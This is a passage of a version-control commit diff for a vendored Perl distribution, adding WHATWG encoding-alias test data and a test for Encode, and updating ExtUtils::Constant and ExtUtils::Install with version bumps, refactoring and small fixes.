+is_deeply \@invalid, [ 0xED, 0xA0 ], 'Fallback coderef contains invalid byte sequence 0xED, 0xA0';

Added: vendor/perl/dist/cpan/Encode/t/whatwg-aliases.json
===================================================================
--- vendor/perl/dist/cpan/Encode/t/whatwg-aliases.json	                        (rev 0)
+++ vendor/perl/dist/cpan/Encode/t/whatwg-aliases.json	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,455 @@
+[
+  {
+    "encodings": [
+      {
+        "labels": [
+          "unicode-1-1-utf-8",
+          "utf-8",
+          "utf8"
+        ],
+        "name": "UTF-8"
+      }
+    ],
+    "heading": "The Encoding"
+  },
+  {
+    "encodings": [
+      {
+        "labels": [
+          "866",
+          "cp866",
+          "csibm866",
+          "ibm866"
+        ],
+        "name": "IBM866"
+      },
+      {
+        "labels": [
+          "csisolatin2",
+          "iso-8859-2",
+          "iso-ir-101",
+          "iso8859-2",
+          "iso88592",
+          "iso_8859-2",
+          "iso_8859-2:1987",
+          "l2",
+          "latin2"
+        ],
+        "name": "ISO-8859-2"
+      },
+      {
+        "labels": [
+          "csisolatin3",
+          "iso-8859-3",
+          "iso-ir-109",
+          "iso8859-3",
+          "iso88593",
+          "iso_8859-3",
+          "iso_8859-3:1988",
+          "l3",
+          "latin3"
+        ],
+        "name": "ISO-8859-3"
+      },
+      {
+        "labels": [
+          "csisolatin4",
+          "iso-8859-4",
+          "iso-ir-110",
+          "iso8859-4",
+          "iso88594",
+          "iso_8859-4",
+          "iso_8859-4:1988",
+          "l4",
+          "latin4"
+        ],
+        "name": "ISO-8859-4"
+      },
+      {
+        "labels": [
+          "csisolatincyrillic",
+          "cyrillic",
+          "iso-8859-5",
+          "iso-ir-144",
+          "iso8859-5",
+          "iso88595",
+          "iso_8859-5",
+          "iso_8859-5:1988"
+        ],
+        "name": "ISO-8859-5"
+      },
+      {
+        "labels": [
+          "arabic",
+          "asmo-708",
+          "csiso88596e",
+          "csiso88596i",
+          "csisolatinarabic",
+          "ecma-114",
+          "iso-8859-6",
+          "iso-8859-6-e",
+          "iso-8859-6-i",
+          "iso-ir-127",
+          "iso8859-6",
+          "iso88596",
+          "iso_8859-6",
+          "iso_8859-6:1987"
+        ],
+        "name": "ISO-8859-6"
+      },
+      {
+        "labels": [
+          "csisolatingreek",
+          "ecma-118",
+          "elot_928",
+          "greek",
+          "greek8",
+          "iso-8859-7",
+          "iso-ir-126",
+          "iso8859-7",
+          "iso88597",
+          "iso_8859-7",
+          "iso_8859-7:1987",
+          "sun_eu_greek"
+        ],
+        "name": "ISO-8859-7"
+      },
+      {
+        "labels": [
+          "csiso88598e",
+          "csisolatinhebrew",
+          "hebrew",
+          "iso-8859-8",
+          "iso-8859-8-e",
+          "iso-ir-138",
+          "iso8859-8",
+          "iso88598",
+          "iso_8859-8",
+          "iso_8859-8:1988",
+          "visual"
+        ],
+        "name": "ISO-8859-8"
+      },
+      {
+        "labels": [
+          "csiso88598i",
+          "iso-8859-8-i",
+          "logical"
+        ],
+        "name": "ISO-8859-8-I"
+      },
+      {
+        "labels": [
+          "csisolatin6",
+          "iso-8859-10",
+          "iso-ir-157",
+          "iso8859-10",
+          "iso885910",
+          "l6",
+          "latin6"
+        ],
+        "name": "ISO-8859-10"
+      },
+      {
+        "labels": [
+          "iso-8859-13",
+          "iso8859-13",
+          "iso885913"
+        ],
+        "name": "ISO-8859-13"
+      },
+      {
+        "labels": [
+          "iso-8859-14",
+          "iso8859-14",
+          "iso885914"
+        ],
+        "name": "ISO-8859-14"
+      },
+      {
+        "labels": [
+          "csisolatin9",
+          "iso-8859-15",
+          "iso8859-15",
+          "iso885915",
+          "iso_8859-15",
+          "l9"
+        ],
+        "name": "ISO-8859-15"
+      },
+      {
+        "labels": [
+          "iso-8859-16"
+        ],
+        "name": "ISO-8859-16"
+      },
+      {
+        "labels": [
+          "cskoi8r",
+          "koi",
+          "koi8",
+          "koi8-r",
+          "koi8_r"
+        ],
+        "name": "KOI8-R"
+      },
+      {
+        "labels": [
+          "koi8-ru",
+          "koi8-u"
+        ],
+        "name": "KOI8-U"
+      },
+      {
+        "labels": [
+          "csmacintosh",
+          "mac",
+          "macintosh",
+          "x-mac-roman"
+        ],
+        "name": "macintosh"
+      },
+      {
+        "labels": [
+          "dos-874",
+          "iso-8859-11",
+          "iso8859-11",
+          "iso885911",
+          "tis-620",
+          "windows-874"
+        ],
+        "name": "windows-874"
+      },
+      {
+        "labels": [
+          "cp1250",
+          "windows-1250",
+          "x-cp1250"
+        ],
+        "name": "windows-1250"
+      },
+      {
+        "labels": [
+          "cp1251",
+          "windows-1251",
+          "x-cp1251"
+        ],
+        "name": "windows-1251"
+      },
+      {
+        "labels": [
+          "ansi_x3.4-1968",
+          "ascii",
+          "cp1252",
+          "cp819",
+          "csisolatin1",
+          "ibm819",
+          "iso-8859-1",
+          "iso-ir-100",
+          "iso8859-1",
+          "iso88591",
+          "iso_8859-1",
+          "iso_8859-1:1987",
+          "l1",
+          "latin1",
+          "us-ascii",
+          "windows-1252",
+          "x-cp1252"
+        ],
+        "name": "windows-1252"
+      },
+      {
+        "labels": [
+          "cp1253",
+          "windows-1253",
+          "x-cp1253"
+        ],
+        "name": "windows-1253"
+      },
+      {
+        "labels": [
+          "cp1254",
+          "csisolatin5",
+          "iso-8859-9",
+          "iso-ir-148",
+          "iso8859-9",
+          "iso88599",
+          "iso_8859-9",
+          "iso_8859-9:1989",
+          "l5",
+          "latin5",
+          "windows-1254",
+          "x-cp1254"
+        ],
+        "name": "windows-1254"
+      },
+      {
+        "labels": [
+          "cp1255",
+          "windows-1255",
+          "x-cp1255"
+        ],
+        "name": "windows-1255"
+      },
+      {
+        "labels": [
+          "cp1256",
+          "windows-1256",
+          "x-cp1256"
+        ],
+        "name": "windows-1256"
+      },
+      {
+        "labels": [
+          "cp1257",
+          "windows-1257",
+          "x-cp1257"
+        ],
+        "name": "windows-1257"
+      },
+      {
+        "labels": [
+          "cp1258",
+          "windows-1258",
+          "x-cp1258"
+        ],
+        "name": "windows-1258"
+      },
+      {
+        "labels": [
+          "x-mac-cyrillic",
+          "x-mac-ukrainian"
+        ],
+        "name": "x-mac-cyrillic"
+      }
+    ],
+    "heading": "Legacy single-byte encodings"
+  },
+  {
+    "encodings": [
+      {
+        "labels": [
+          "chinese",
+          "csgb2312",
+          "csiso58gb231280",
+          "gb2312",
+          "gb_2312",
+          "gb_2312-80",
+          "gbk",
+          "iso-ir-58",
+          "x-gbk"
+        ],
+        "name": "GBK"
+      },
+      {
+        "labels": [
+          "gb18030"
+        ],
+        "name": "gb18030"
+      }
+    ],
+    "heading": "Legacy multi-byte Chinese (simplified) encodings"
+  },
+  {
+    "encodings": [
+      {
+        "labels": [
+          "big5",
+          "big5-hkscs",
+          "cn-big5",
+          "csbig5",
+          "x-x-big5"
+        ],
+        "name": "Big5"
+      }
+    ],
+    "heading": "Legacy multi-byte Chinese (traditional) encodings"
+  },
+  {
+    "encodings": [
+      {
+        "labels": [
+          "cseucpkdfmtjapanese",
+          "euc-jp",
+          "x-euc-jp"
+        ],
+        "name": "EUC-JP"
+      },
+      {
+        "labels": [
+          "csiso2022jp",
+          "iso-2022-jp"
+        ],
+        "name": "ISO-2022-JP"
+      },
+      {
+        "labels": [
+          "csshiftjis",
+          "ms932",
+          "ms_kanji",
+          "shift-jis",
+          "shift_jis",
+          "sjis",
+          "windows-31j",
+          "x-sjis"
+        ],
+        "name": "Shift_JIS"
+      }
+    ],
+    "heading": "Legacy multi-byte Japanese encodings"
+  },
+  {
+    "encodings": [
+      {
+        "labels": [
+          "cseuckr",
+          "csksc56011987",
+          "euc-kr",
+          "iso-ir-149",
+          "korean",
+          "ks_c_5601-1987",
+          "ks_c_5601-1989",
+          "ksc5601",
+          "ksc_5601",
+          "windows-949"
+        ],
+        "name": "EUC-KR"
+      }
+    ],
+    "heading": "Legacy multi-byte Korean encodings"
+  },
+  {
+    "encodings": [
+      {
+        "labels": [
+          "csiso2022kr",
+          "hz-gb-2312",
+          "iso-2022-cn",
+          "iso-2022-cn-ext",
+          "iso-2022-kr"
+        ],
+        "name": "replacement"
+      },
+      {
+        "labels": [
+          "utf-16be"
+        ],
+        "name": "UTF-16BE"
+      },
+      {
+        "labels": [
+          "utf-16",
+          "utf-16le"
+        ],
+        "name": "UTF-16LE"
+      },
+      {
+        "labels": [
+          "x-user-defined"
+        ],
+        "name": "x-user-defined"
+      }
+    ],
+    "heading": "Legacy miscellaneous encodings"
+  }
+]

Added: vendor/perl/dist/cpan/Encode/t/whatwg-aliases.t
===================================================================
--- vendor/perl/dist/cpan/Encode/t/whatwg-aliases.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Encode/t/whatwg-aliases.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,66 @@
+# This test checks aliases support based on the list in the
+# WHATWG Encoding Living Standard
+#
+# https://encoding.spec.whatwg.org/
+#
+# The input of this test is the file whatwg-aliases.json downloaded from
+# https://encoding.spec.whatwg.org/encodings.json
+#
+# To run:
+#   AUTHOR_TESTING=1 prove -l t/whatwg-aliases.t
+
+
+use Test::More
+    ($ENV{AUTHOR_TESTING} || $ENV{RELEASE_TESTING})
+    ? 'no_plan'
+    : (skip_all => 'For maintainers only');
+use Encode 'find_encoding';
+use JSON::PP 'decode_json';
+use File::Spec;
+use FindBin;
+
+my $encodings = decode_json(do {
+    # https://encoding.spec.whatwg.org/encodings.json
+    open my $f, '<', File::Spec->catdir($FindBin::Bin, 'whatwg-aliases.json');
+    local $/;
+    <$f>
+});
+
+my %IGNORE = map { $_ => '' } qw(
+    replacement
+    utf8
+);
+
+my %TODO = (
+    'ISO-8859-8-I'   => 'Not supported',
+    'gb18030'        => 'Not supported',
+    '866'            => 'Not supported',
+    'x-user-defined' => 'Not supported',
+    # ...
+);
+
+for my $section (@$encodings) {
+    for my $enc (@{$section->{encodings}}) {
+
+	my $name = $enc->{name};
+
+	next if exists $IGNORE{$name};
+
+	local $TODO = $TODO{$name} if exists $TODO{$name};
+
+	my $encoding = find_encoding($name);
+	isa_ok($encoding, 'Encode::Encoding', $name);
+
+	for my $label (@{$enc->{labels}}) {
+	    local $TODO = $TODO{$label} if exists $TODO{$label};
+
+	    my $e = find_encoding($label);
+	    if (isa_ok($e, 'Encode::Encoding', $label)) {
+		next if exists $IGNORE{$label};
+		is($e->name, $encoding->name, "$label ->name is $name")
+	    }
+	}
+    }
+}
+
+done_testing;

Modified: vendor/perl/dist/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Base.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Base.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Base.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 use Carp;
 use Text::Wrap;
 use ExtUtils::Constant::Utils qw(C_stringify perl_stringify);
-$VERSION = '0.05';
+$VERSION = '0.06';
 
 use constant is_perl56 => ($] < 5.007 && $] > 5.005_50);
 
@@ -331,7 +331,7 @@
 of a block, so variables may be defined in it.
 
 =cut
-# Hmm. value undef to to NOTDEF? value () to do NOTFOUND?
+# Hmm. value undef to do NOTDEF? value () to do NOTFOUND?
 
 sub assign {
   my $self = shift;
@@ -581,7 +581,8 @@
     $body .= $indent . "case '" . C_stringify ($char) . "':\n";
     foreach my $thisone (sort {
 	# Deal with the case of an item actually being an array ref to 1 or 2
-	# hashrefs. Don't assign to $a or $b, as they're aliases to the orignal
+	# hashrefs. Don't assign to $a or $b, as they're aliases to the
+        # original
 	my $l = ref $a eq 'ARRAY' ? ($a->[0] || $->[1]) : $a;
 	my $r = ref $b eq 'ARRAY' ? ($b->[0] || $->[1]) : $b;
 	# Sort by weight first

Modified: vendor/perl/dist/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/ProxySubs.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/ProxySubs.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/ProxySubs.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,7 +9,7 @@
 use ExtUtils::Constant::Utils qw(C_stringify);
 use ExtUtils::Constant::XS qw(%XS_TypeSet);
 
-$VERSION = '0.08';
+$VERSION = '0.09';
 @ISA = 'ExtUtils::Constant::XS';
 
 %type_to_struct =
@@ -268,7 +268,7 @@
     SV *sv;
 
     if (!he) {
-        Perl_croak($athx "Couldn't add key '%s' to %%$package_sprintf_safe\::",
+        croak("Couldn't add key '%s' to %%$package_sprintf_safe\::",
 		   name);
     }
     sv = HeVAL(he);
@@ -306,9 +306,8 @@
 Im_sorry_Dave(pTHX_ SV *sv, MAGIC *mg)
 {
     PERL_UNUSED_ARG(mg);
-    Perl_croak(aTHX_
-	       "Your vendor has not defined $package_sprintf_safe macro %"SVf
-	       " used", sv);
+    croak("Your vendor has not defined $package_sprintf_safe macro %"SVf
+	  " used", sv);
     NORETURN_FUNCTION_END;
 }
 
@@ -373,7 +372,7 @@
     print $xs_fh <<"EOBOOT";
 BOOT:
   {
-#ifdef dTHX
+#if defined(dTHX) && !defined(PERL_NO_GET_CONTEXT)
     dTHX;
 #endif
     HV *symbol_table = get_hv("$symbol_table", GV_ADD);
@@ -491,9 +490,8 @@
 		HEK *hek;
 #endif
 		if (!he) {
-		    Perl_croak($athx
-			       "Couldn't add key '%s' to %%$package_sprintf_safe\::",
-			       value_for_notfound->name);
+		    croak("Couldn't add key '%s' to %%$package_sprintf_safe\::",
+			  value_for_notfound->name);
 		}
 		sv = HeVAL(he);
 		if (!SvOK(sv) && SvTYPE(sv) != SVt_PVGV) {
@@ -521,8 +519,8 @@
 		if (!hv_common(${c_subname}_missing, NULL, HEK_KEY(hek),
  			       HEK_LEN(hek), HEK_FLAGS(hek), HV_FETCH_ISSTORE,
 			       &PL_sv_yes, HEK_HASH(hek)))
-		    Perl_croak($athx "Couldn't add key '%s' to missing_hash",
-			       value_for_notfound->name);
+		    croak("Couldn't add key '%s' to missing_hash",
+			  value_for_notfound->name);
 #endif
 DONT
 
@@ -629,13 +627,15 @@
 	if ((C_ARRAY_LENGTH(values_for_notfound) > 1)
 	    ? hv_exists_ent(${c_subname}_missing, sv, 0) : 0) {
 	    sv = newSVpvf("Your vendor has not defined $package_sprintf_safe macro %" SVf
-			  ", used at %" COP_FILE_F " line %d\\n", sv,
-			  COP_FILE(cop), CopLINE(cop));
+			  ", used at %" COP_FILE_F " line %" UVuf "\\n", 
+			  sv, COP_FILE(cop), (UV)CopLINE(cop));
 	} else
 #endif
 	{
-	    sv = newSVpvf("%"SVf" is not a valid $package_sprintf_safe macro at %"
-			  COP_FILE_F " line %d\\n", sv, COP_FILE(cop), CopLINE(cop));
+	    sv = newSVpvf("%" SVf
+                          " is not a valid $package_sprintf_safe macro at %"
+			  COP_FILE_F " line %" UVuf "\\n",
+			  sv, COP_FILE(cop), (UV)CopLINE(cop));
 	}
 	croak_sv(sv_2mortal(sv));
 EOC
@@ -671,7 +671,7 @@
 	} else
 #endif
 	{
-	    sv = newSVpvf("%"SVf" is not a valid $package_sprintf_safe macro",
+	    sv = newSVpvf("%" SVf " is not a valid $package_sprintf_safe macro",
 			  sv);
 	}
 	PUSHs(sv_2mortal(sv));

Modified: vendor/perl/dist/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Utils.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Utils.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Utils.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
 
 @ISA = 'Exporter';
 @EXPORT_OK = qw(C_stringify perl_stringify);
-$VERSION = '0.03';
+$VERSION = '0.04';
 
 use constant is_perl55 => ($] < 5.005_50);
 use constant is_perl56 => ($] < 5.007 && $] > 5.005_50);
@@ -46,7 +46,7 @@
   # grr 5.6.1
   confess "Wide character in '$_' intended as a C identifier"
     if tr/\0-\377// != length;
-  # grr 5.6.1 moreso because its regexps will break on data that happens to
+  # grr 5.6.1 more so because its regexps will break on data that happens to
   # be utf8, which includes my 8 bit test cases.
   $_ = pack 'C*', unpack 'U*', $_ . pack 'U*' if is_perl56;
   s/\\/\\\\/g;

Modified: vendor/perl/dist/cpan/ExtUtils-Constant/lib/ExtUtils/Constant.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-Constant/lib/ExtUtils/Constant.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-Constant/lib/ExtUtils/Constant.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
 package ExtUtils::Constant;
 use vars qw (@ISA $VERSION @EXPORT_OK %EXPORT_TAGS);
-$VERSION = 0.23;
+$VERSION = '0.25';
 
 =head1 NAME
 
@@ -198,17 +198,17 @@
 EOT
 
   if ($params->{IV}) {
-    $xs .= "	IV		iv;\n";
+    $xs .= "	IV		iv = 0; /* avoid uninit var warning */\n";
   } else {
     $xs .= "	/* IV\t\tiv;\tUncomment this if you need to return IVs */\n";
   }
   if ($params->{NV}) {
-    $xs .= "	NV		nv;\n";
+    $xs .= "	NV		nv = 0.0; /* avoid uninit var warning */\n";
   } else {
     $xs .= "	/* NV\t\tnv;\tUncomment this if you need to return NVs */\n";
   }
   if ($params->{PV}) {
-    $xs .= "	const char	*pv;\n";
+    $xs .= "	const char	*pv = NULL; /* avoid uninit var warning */\n";
   } else {
     $xs .=
       "	/* const char\t*pv;\tUncomment this if you need to return PVs */\n";
@@ -272,7 +272,7 @@
     $xs .= "        case PERL_constant_IS$type:\n";
     if (length $XS_Constant{$type}) {
       $xs .= << "EOT";
-          EXTEND(SP, 1);
+          EXTEND(SP, 2);
           PUSHs(&PL_sv_undef);
           $XS_Constant{$type};
 EOT

Modified: vendor/perl/dist/cpan/ExtUtils-Install/lib/ExtUtils/Install.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-Install/lib/ExtUtils/Install.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-Install/lib/ExtUtils/Install.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,24 +1,18 @@
 package ExtUtils::Install;
 use strict;
 
-use vars qw(@ISA @EXPORT $VERSION $MUST_REBOOT %Config);
-
-use AutoSplit;
-use Carp ();
 use Config qw(%Config);
 use Cwd qw(cwd);
-use Exporter;
-use ExtUtils::Packlist;
+use Exporter ();
 use File::Basename qw(dirname);
-use File::Compare qw(compare);
 use File::Copy;
-use File::Find qw(find);
 use File::Path;
 use File::Spec;
 
+our @ISA = ('Exporter');
+our @EXPORT = ('install','uninstall','pm_to_blib', 'install_default');
 
- at ISA = ('Exporter');
- at EXPORT = ('install','uninstall','pm_to_blib', 'install_default');
+our $MUST_REBOOT;
 
 =pod
 
@@ -38,11 +32,11 @@
 
 =head1 VERSION
 
-2.04
+2.14
 
 =cut
 
-$VERSION = '2.04';  # <-- do not forget to update the POD section just above this line!
+our $VERSION = '2.14';  # <-- do not forget to update the POD section just above this line!
 $VERSION = eval $VERSION;
 
 =pod
@@ -95,19 +89,13 @@
 
 =cut
 
-my $Is_VMS     = $^O eq 'VMS';
-my $Is_MacPerl = $^O eq 'MacOS';
-my $Is_Win32   = $^O eq 'MSWin32';
-my $Is_cygwin  = $^O eq 'cygwin';
-my $CanMoveAtBoot = ($Is_Win32 || $Is_cygwin);
+BEGIN {
+    *Is_VMS        = $^O eq 'VMS'     ? sub(){1} : sub(){0};
+    *Is_Win32      = $^O eq 'MSWin32' ? sub(){1} : sub(){0};
+    *Is_cygwin     = $^O eq 'cygwin'  ? sub(){1} : sub(){0};
+    *CanMoveAtBoot = ($^O eq 'MSWin32' || $^O eq 'cygwin') ? sub(){1} : sub(){0};
+}
 
-# *note* CanMoveAtBoot is only incidentally the same condition as below
-# this needs not hold true in the future.
-my $Has_Win32API_File = ($Is_Win32 || $Is_cygwin)
-    ? (eval {require Win32API::File; 1} || 0)
-    : 0;
-
-
 my $Inc_uninstall_warn_handler;
 
 # install relative to here
@@ -114,9 +102,12 @@
 
 my $INSTALL_ROOT = $ENV{PERL_INSTALL_ROOT};
 my $INSTALL_QUIET = $ENV{PERL_INSTALL_QUIET};
+$INSTALL_QUIET = 1
+  if (!exists $ENV{PERL_INSTALL_QUIET} and
+      defined $ENV{MAKEFLAGS} and
+      $ENV{MAKEFLAGS} =~ /\b(s|silent|quiet)\b/);
 
 my $Curdir = File::Spec->curdir;
-my $Updir  = File::Spec->updir;
 
 sub _estr(@) {
     return join "\n",'!' x 72, at _,'!' x 72,'';
@@ -132,10 +123,25 @@
 sub _choke(@) {
     my $first=shift;
     my $msg=_estr "ERROR: $first", at _;
+    require Carp;
     Carp::croak($msg);
 }
 
+sub _croak {
+    require Carp;
+    Carp::croak(@_);
+}
+sub _confess {
+    require Carp;
+    Carp::confess(@_);
+}
 
+sub _compare {
+    require File::Compare;
+    File::Compare::compare(@_);
+}
+
+
 sub _chmod($$;$) {
     my ( $mode, $item, $verbose )=@_;
     $verbose ||= 0;
@@ -173,47 +179,53 @@
 
 =cut
 
+{
+    my $Has_Win32API_File;
+    sub _move_file_at_boot { #XXX OS-SPECIFIC
+        my ( $file, $target, $moan  )= @_;
+        _confess("Panic: Can't _move_file_at_boot on this platform!")
+             unless CanMoveAtBoot;
 
+        my $descr= ref $target
+                    ? "'$file' for deletion"
+                    : "'$file' for installation as '$target'";
 
-sub _move_file_at_boot { #XXX OS-SPECIFIC
-    my ( $file, $target, $moan  )= @_;
-    Carp::confess("Panic: Can't _move_file_at_boot on this platform!")
-         unless $CanMoveAtBoot;
+        # *note* CanMoveAtBoot is only incidentally the same condition as below
+        # this needs not hold true in the future.
+        $Has_Win32API_File = (Is_Win32 || Is_cygwin)
+            ? (eval {require Win32API::File; 1} || 0)
+            : 0 unless defined $Has_Win32API_File;
+        if ( ! $Has_Win32API_File ) {
 
-    my $descr= ref $target
-                ? "'$file' for deletion"
-                : "'$file' for installation as '$target'";
+            my @msg=(
+                "Cannot schedule $descr at reboot.",
+                "Try installing Win32API::File to allow operations on locked files",
+                "to be scheduled during reboot. Or try to perform the operation by",
+                "hand yourself. (You may need to close other perl processes first)"
+            );
+            if ( $moan ) { _warnonce(@msg) } else { _choke(@msg) }
+            return 0;
+        }
+        my $opts= Win32API::File::MOVEFILE_DELAY_UNTIL_REBOOT();
+        $opts= $opts | Win32API::File::MOVEFILE_REPLACE_EXISTING()
+            unless ref $target;
 
-    if ( ! $Has_Win32API_File ) {
+        _chmod( 0666, $file );
+        _chmod( 0666, $target ) unless ref $target;
 
-        my @msg=(
-            "Cannot schedule $descr at reboot.",
-            "Try installing Win32API::File to allow operations on locked files",
-            "to be scheduled during reboot. Or try to perform the operation by",
-            "hand yourself. (You may need to close other perl processes first)"
-        );
-        if ( $moan ) { _warnonce(@msg) } else { _choke(@msg) }
+        if (Win32API::File::MoveFileEx( $file, $target, $opts )) {
+            $MUST_REBOOT ||= ref $target ? 0 : 1;
+            return 1;
+        } else {
+            my @msg=(
+                "MoveFileEx $descr at reboot failed: $^E",
+                "You may try to perform the operation by hand yourself. ",
+                "(You may need to close other perl processes first).",
+            );
+            if ( $moan ) { _warnonce(@msg) } else { _choke(@msg) }
+        }
         return 0;
     }
-    my $opts= Win32API::File::MOVEFILE_DELAY_UNTIL_REBOOT();
-    $opts= $opts | Win32API::File::MOVEFILE_REPLACE_EXISTING()
-        unless ref $target;
-
-    _chmod( 0666, $file );
-    _chmod( 0666, $target ) unless ref $target;
-
-    if (Win32API::File::MoveFileEx( $file, $target, $opts )) {
-        $MUST_REBOOT ||= ref $target ? 0 : 1;
-        return 1;
-    } else {
-        my @msg=(
-            "MoveFileEx $descr at reboot failed: $^E",
-            "You may try to perform the operation by hand yourself. ",
-            "(You may need to close other perl processes first).",
-        );
-        if ( $moan ) { _warnonce(@msg) } else { _choke(@msg) }
-    }
-    return 0;
 }
 
 
@@ -270,7 +282,7 @@
     my $error="$!";
 
     _choke("Cannot unlink '$file': $!")
-          unless $CanMoveAtBoot && $tryhard;
+          unless CanMoveAtBoot && $tryhard;
 
     my $tmp= "AAA";
     ++$tmp while -e "$file.$tmp";
@@ -379,8 +391,8 @@
     sub _have_write_access {
         my $dir=shift;
         unless (defined $has_posix) {
-            $has_posix= (!$Is_cygwin && !$Is_Win32
-             && eval 'local $^W; require POSIX; 1') || 0;
+            $has_posix = (!Is_cygwin && !Is_Win32
+             && eval { local $^W; require POSIX; 1} ) || 0;
         }
         if ($has_posix) {
             return POSIX::access($dir, POSIX::W_OK());
@@ -425,7 +437,7 @@
     my $path='';
     my @make;
     while (@dirs) {
-        if ($Is_VMS) {
+        if (Is_VMS) {
             $dir = File::Spec->catdir($vol, at dirs);
         }
         else {
@@ -519,7 +531,7 @@
     }
     if (!$dry_run) {
         File::Copy::copy($from,$to)
-            or Carp::croak( _estr "ERROR: Cannot copy '$from' to '$to': $!" );
+            or _croak( _estr "ERROR: Cannot copy '$from' to '$to': $!" );
     }
 }
 
@@ -673,7 +685,7 @@
     if (@_==1 and eval { 1+@$from_to }) {
         my %opts        = @$from_to;
         $from_to        = $opts{from_to}
-                            or Carp::confess("from_to is a mandatory parameter");
+                            or _confess("from_to is a mandatory parameter");
         $verbose        = $opts{verbose};
         $dry_run        = $opts{dry_run};
         $uninstall_shadows  = $opts{uninstall_shadows};
@@ -694,6 +706,7 @@
 
     my(%from_to) = %$from_to;
     my(%pack, $dir, %warned);
+    require ExtUtils::Packlist;
     my($packlist) = ExtUtils::Packlist->new();
 
     local(*DIR);
@@ -706,7 +719,14 @@
     my $cwd = cwd();
     my @found_files;
     my %check_dirs;
+    require File::Find;
 
+    my $blib_lib  = File::Spec->catdir('blib', 'lib');
+    my $blib_arch = File::Spec->catdir('blib', 'arch');
+
+    # File::Find seems to always be Unixy except on MacPerl :(
+    my $current_directory = $^O eq 'MacOS' ? $Curdir : '.';
+
     MOD_INSTALL: foreach my $source (sort keys %from_to) {
         #copy the tree to the target directory without altering
         #timestamp and permission and remember for the .packlist
@@ -720,8 +740,6 @@
 
         my $targetroot = install_rooted_dir($from_to{$source});
 
-        my $blib_lib  = File::Spec->catdir('blib', 'lib');
-        my $blib_arch = File::Spec->catdir('blib', 'arch');
         if ($source eq $blib_lib and
             exists $from_to{$blib_arch} and
             directory_not_empty($blib_arch)
@@ -734,9 +752,7 @@
         _chdir($source);
         # 5.5.3's File::Find missing no_chdir option
         # XXX OS-SPECIFIC
-        # File::Find seems to always be Unixy except on MacPerl :(
-        my $current_directory= $Is_MacPerl ? $Curdir : '.';
-        find(sub {
+        File::Find::find(sub {
             my ($mode,$size,$atime,$mtime) = (stat)[2,7,8,9];
 
             return if !-f _;
@@ -765,7 +781,7 @@
                 $diff++;
             } else {
                 # we might not need to copy this file
-                $diff = compare($sourcefile, $targetfile);
+                $diff = _compare($sourcefile, $targetfile);
             }
             $check_dirs{$targetdir}++
                 unless -w $targetfile;
@@ -806,7 +822,7 @@
 
                 #XXX OS-SPECIFIC
                 print "utime($atime,$mtime,$targetfile)\n" if $verbose>1;
-                utime($atime,$mtime + $Is_VMS,$targetfile) unless $dry_run>1;
+                utime($atime,$mtime + Is_VMS,$targetfile) unless $dry_run>1;
 
 
                 $mode = 0444 | ( $mode & 0111 ? 0111 : 0 );
@@ -936,7 +952,8 @@
 sub directory_not_empty ($) {
   my($dir) = @_;
   my $files = 0;
-  find(sub {
+  require File::Find;
+  File::Find::find(sub {
            return if $_ eq ".exists";
            if (-f) {
              $File::Find::prune++;
@@ -970,7 +987,7 @@
 =cut
 
 sub install_default {
-  @_ < 2 or Carp::croak("install_default should be called with 0 or 1 argument");
+  @_ < 2 or _croak("install_default should be called with 0 or 1 argument");
   my $FULLEXT = @_ ? shift : $ARGV[0];
   defined $FULLEXT or die "Do not know to where to write install log";
   my $INST_LIB = File::Spec->catdir($Curdir,"blib","lib");
@@ -1026,6 +1043,7 @@
         unless -f $fil;
     # my $my_req = $self->catfile(qw(auto ExtUtils Install forceunlink.al));
     # require $my_req; # Hairy, but for the first
+    require ExtUtils::Packlist;
     my ($packlist) = ExtUtils::Packlist->new($fil);
     foreach (sort(keys(%$packlist))) {
         chomp;
@@ -1076,7 +1094,7 @@
     #warn join "\n","---", at dirs,"---";
     my $seen_ours;
     foreach $dir ( @dirs ) {
-        my $canonpath = $Is_VMS ? $dir : File::Spec->canonpath($dir);
+        my $canonpath = Is_VMS ? $dir : File::Spec->canonpath($dir);
         next if $canonpath eq $Curdir;
         next if $seen_dir{$canonpath}++;
         my $targetfile = File::Spec->catfile($canonpath,$libdir,$file);
@@ -1088,7 +1106,7 @@
         my $diff = 0;
         if ( -f $targetfile && -s _ == -s $filepath) {
             # We have a good chance, we can skip this one
-            $diff = compare($filepath,$targetfile);
+            $diff = _compare($filepath,$targetfile);
         } else {
             $diff++;
         }
@@ -1158,11 +1176,12 @@
 
 =item B<pm_to_blib>
 
+    pm_to_blib(\%from_to);
     pm_to_blib(\%from_to, $autosplit_dir);
     pm_to_blib(\%from_to, $autosplit_dir, $filter_cmd);
 
 Copies each key of %from_to to its corresponding value efficiently.
-Filenames with the extension .pm are autosplit into the $autosplit_dir.
+If an $autosplit_dir is provided, all .pm files will be autosplit into it.
 Any destination directories are created.
 
 $filter_cmd is an optional shell command to run each .pm file through
@@ -1180,7 +1199,7 @@
 sub pm_to_blib {
     my($fromto,$autodir,$pm_filter) = @_;
